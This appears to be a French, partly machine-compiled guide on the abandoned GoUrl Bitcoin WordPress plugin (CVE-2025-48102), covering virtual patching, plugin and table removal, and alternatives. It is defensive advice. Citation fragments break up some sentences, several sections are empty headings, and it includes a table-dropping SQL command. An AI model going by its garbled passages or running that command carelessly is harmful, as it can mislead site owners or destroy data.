Présence physique du code sur le serveur : Même lorsqu'un plugin est désactivé, ses fichiers continuent d'être stockés dans un répertoire /wp-content/plugins/ sur votre serveur. Si un plugin a des vulnérabilités connues, un pirate peut les exploiter en accédant directement aux fichiers du plugin. Cela pourrait se produire via d'autres vulnérabilités sur votre site, comme une sécurité serveur faible ou des identifiants administrateur compromis.
Les experts en sécurité de Dotwise soulignent : « Le code reste accessible. Même lorsque le plugin est désactivé, ses fichiers restent stockés sur votre serveur. Si le plugin a des vulnérabilités connues, un pirate peut les exploiter en accédant directement aux fichiers du plugin. »
Attaques ciblées : Les cybercriminels scannent souvent les sites web à la recherche de certains plugins vulnérables. Si un plugin vulnérable existe sur votre serveur, même s'il est désactivé, il peut toujours être attaqué par un attaquant.
Les experts de Qode Interactive avertissent : « Désactiver un plugin au lieu de le supprimer est idéal pour le diagnostic et le dépannage, mais cela est toujours destiné à une utilisation à court terme uniquement. Si vous voulez que votre site WordPress soit aussi sécurisé que possible contre les pirates, vous devez supprimer tous les plugins inutilisés et leurs fichiers. »
Plugins obsolètes : Les plugins désactivés sont souvent négligés lors de la maintenance régulière de WordPress. Si un plugin n'est pas mis à jour pour corriger les vulnérabilités de sécurité, il peut devenir un maillon faible dans la sécurité de votre site. Les pirates exploitent souvent les logiciels obsolètes, et un plugin désactivé ne fait pas exception.
L'équipe de Magna Technology note : « L'un des problèmes les plus critiques avec les plugins désactivés est la sécurité. Même si les plugins désactivés ne s'exécutent pas, ils restent dans votre installation WordPress et peuvent devenir une vulnérabilité s'ils ne sont pas mis à jour régulièrement. Les pirates exploitent souvent les plugins obsolètes pour accéder aux sites web, même s'ils sont inactifs. »
La nature spécifique de CVE-2025-48102 est que le plugin GoUrl Bitcoin Payment Gateway n'est plus pris en charge par ses développeurs. Cela crée une situation unique et extrêmement dangereuse pour tous les utilisateurs du plugin.
Position officielle de Patchstack : La page de vulnérabilité de Patchstack indique clairement : « Ce logiciel est probablement abandonné ! Ce logiciel a été mis à jour pour la dernière fois il y a plus d'un an et ne recevra probablement plus de mises à jour ou de correctifs. Veuillez envisager de remplacer le logiciel par une alternative de toute urgence. »
Avertissement critique sur la désactivation : Patchstack déclare spécifiquement : « Veuillez noter que la désactivation du logiciel n'élimine pas le risque de sécurité à moins qu'un patch virtuel (vPatch) ne soit déployé. »
Recommandation des experts Wiz : Les experts de la plateforme Wiz déclarent sans ambages : « Étant donné qu'il n'existe pas de correctif officiel et que le logiciel est considéré comme abandonné, la mesure d'atténuation recommandée est de supprimer et de remplacer le plugin par une alternative activement maintenue. »
Vulnérabilité persistante : Sans le soutien des développeurs, aucune mise à jour de sécurité ne sera publiée. Cela signifie que toute vulnérabilité découverte, y compris CVE-2025-48102, restera non corrigée pour toujours.
Accumulation de risques : Au fil du temps, des vulnérabilités supplémentaires peuvent être découvertes et resteront également non corrigées. Selon les statistiques de Patchstack, pas moins de 1 450 plugins ont été supprimés du référentiel WordPress.org en 2024 en raison de vulnérabilités de priorité haute ou moyenne.
Incompatibilité avec les versions futures : Les plugins abandonnés peuvent devenir incompatibles avec les futures versions de WordPress, PHP ou d'autres dépendances, créant des problèmes de fonctionnalité et de sécurité supplémentaires. mainwp +1
Correctif virtuel est une technique de sécurité qui bloque les exploits connus avant qu'ils n'atteignent le code vulnérable, sans apporter de modifications à l'application elle-même. wp-umbrella+2
Définition OWASP : L'organisation OWASP définit le correctif virtuel comme « un niveau de mise en œuvre de la politique de sécurité qui empêche l'exploitation d'une vulnérabilité connue. »
Fonctionnement : Les correctifs virtuels analysent les transactions et interceptent les attaques en transit, de sorte que le trafic malveillant n'atteint jamais l'application web. Par conséquent, même si le code source réel de l'application n'a pas été modifié, les tentatives d'exploitation échouent. owasp+1
Spécificité de la vulnérabilité : Contrairement aux pare-feu d'application web (WAF) à usage général, qui reposent sur des modèles de détection larges, les correctifs virtuels sont écrits comme des règles ciblées qui correspondent à des charges utiles spécifiques. Si un plugin présente une vulnérabilité d'injection SQL ou de cross-site scripting, un correctif virtuel peut intercepter et bloquer la signature exacte de la requête qui l'exploite. wp-umbrella+1
Technologie Patchstack : Patchstack utilise des règles JSON spécifiques aux vulnérabilités qui peuvent inclure diverses instructions. Par exemple, pour l'injection SQL, qui peut être réalisée en incluant une charge utile malveillante dans le paramètre id de POST, un correctif virtuel peut utiliser une approche de liste blanche, où l'id ne peut contenir qu'un nombre. patchstack+1
Déploiement automatisé : Lorsqu'une vulnérabilité est découverte et documentée avec un identifiant CVE, les chercheurs en sécurité – ou des plateformes comme Patchstack – vérifient la vulnérabilité et documentent exactement comment l'exploit fonctionne. Cela devient la base d'un correctif virtuel, qui peut ensuite être déployé automatiquement sur tous les sites protégés.
Principaux avantages :
Limites critiques pour CVE-2025-48102 :
Malgré tous les avantages du correctif virtuel, ce n'est pas une solution à long terme pour le plugin GoUrl abandonné. Patchstack prévient clairement que la désactivation du logiciel n'élimine pas la menace de sécurité à moins qu'un correctif virtuel ne soit déployé. Cependant, se fier uniquement à un correctif virtuel pour une protection continue contre un logiciel abandonné est une stratégie dangereuse, car :patchstack
Compte tenu de tous les facteurs — l'absence de correctif officiel, le statut de logiciel abandonné, l'insuffisance de la désactivation et le caractère temporaire du correctif virtuel — les experts sont unanimes : la seule solution efficace pour CVE-2025-48102 est la suppression complète du plugin GoUrl.wiz plugin. +1
Consensus des experts :

Étape 1 : Créez une sauvegarde complète de Jetpack+1
Avant de supprimer tout plugin , assurez-vous de créer une sauvegarde complète de votre site, y compris les fichiers et la base de données. Cela vous permettra de restaurer votre site en cas de problème. Outils recommandés : liquidweb+1
Étape 2 : Désactivez le plugin via le kinsta+1 tableau de bord
Connectez-vous à votre tableau de bord WordPress et allez dans Plugins → Plugins installés. Trouvez GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership et cliquez sur « Désactiver ». kinsta+1
Étape 3 : Supprimez le plugin de WordPress wpbeginner+1
Après la désactivation, cliquez sur « Supprimer » sous le nom du plugin. WordPress supprimera les fichiers du plugin du répertoire /wp-content/plugins/.jetpack+3
Étape 4 : Nettoyez la base de données des tables liquidweb+2 résiduelles
Une étape cruciale : De nombreux plugins WordPress créent leurs propres tables dans la base de données qui ne sont pas automatiquement supprimées lors de la désinstallation du plugin. Ces « tables orphelines » continuent à prendre de l'espace et peuvent contenir des données sensibles. youtubeonlinemediamasters+3
Méthodes de nettoyage de la base de données :
A. Utilisation de plugins pour nettoyer la base de données : nitropack+2
Advanced Database Cleaner est un plugin complet de nettoyage de base de données WordPress : wordpress+1
WP-Optimize est un outil d'optimisation populaire : jetpack+2
Plugins Garbage Collector est un plugin spécialisé pour détecter les tables orphelines : YouTube
B. Nettoyage manuel via phpMyAdmin : mehulgohil+2
Pour les utilisateurs avancés :
wp_gourl_*, wp_crypto_files, wp_crypto_payments, wp_crypto_membership, wp_crypto_products) wordpress+1Requête SQL pour supprimer des tables spécifiques : liquidweb
sql:DROP TABLE wp_gourl_tablename;
Remplacez wp_gourl_tablename par le nom réel de la table. Vérifiez toujours qu'aucun autre plugin n'utilise la table.
Étape 5 : Vérifiez les fichiers jetpack+1 résiduels
Certains plugins peuvent créer des fichiers en dehors du répertoire des plugins. Vérifiez le répertoire /wp-content/uploads/ pour les dossiers associés à GoUrl (par exemple, [ /wp-content/uploads/gourl/wordpress+2]) et supprimez-les via FTP ou le gestionnaire de fichiers de votre hébergement.
Étape 6 : Suppression des shortcodes inutilisés
Si des shortcodes GoUrl ont été utilisés dans le contenu de votre site, ils deviendront inactifs et s'afficheront sous forme de texte. Trouvez-les et supprimez-les manuellement des articles et des pages.
Lors du choix d'un remplacement pour GoUrl, vous devez prendre en compte les facteurs suivants :
1. Support actif et mises à jour régulières : wp-content+1
2. Une solide réputation en matière de sécurité : paymattic+1
3. Compatibilité technique : crocoblock+1

BTCPay Server est une solution auto-hébergée open source : instawp+2
Blockonomics est une passerelle de paiement décentralisée : slashdot+2
CryptoPay (par BeycanPress) est une passerelle de paiement crypto complète : beycanpress+1
CoinGate est un processeur de paiement blockchain de confiance : g2+2
MyCryptoCheckout est un plugin axé sur la confidentialité : instawp+2
ABC Crypto Checkout – Paiements crypto directs : crocoblock+1
1. Analyse des logiciels malveillants : solidwp+1
2. Vérification des comptes administrateurs : wordfence+1
3. Analyse des journaux d'accès : wp-rocket+1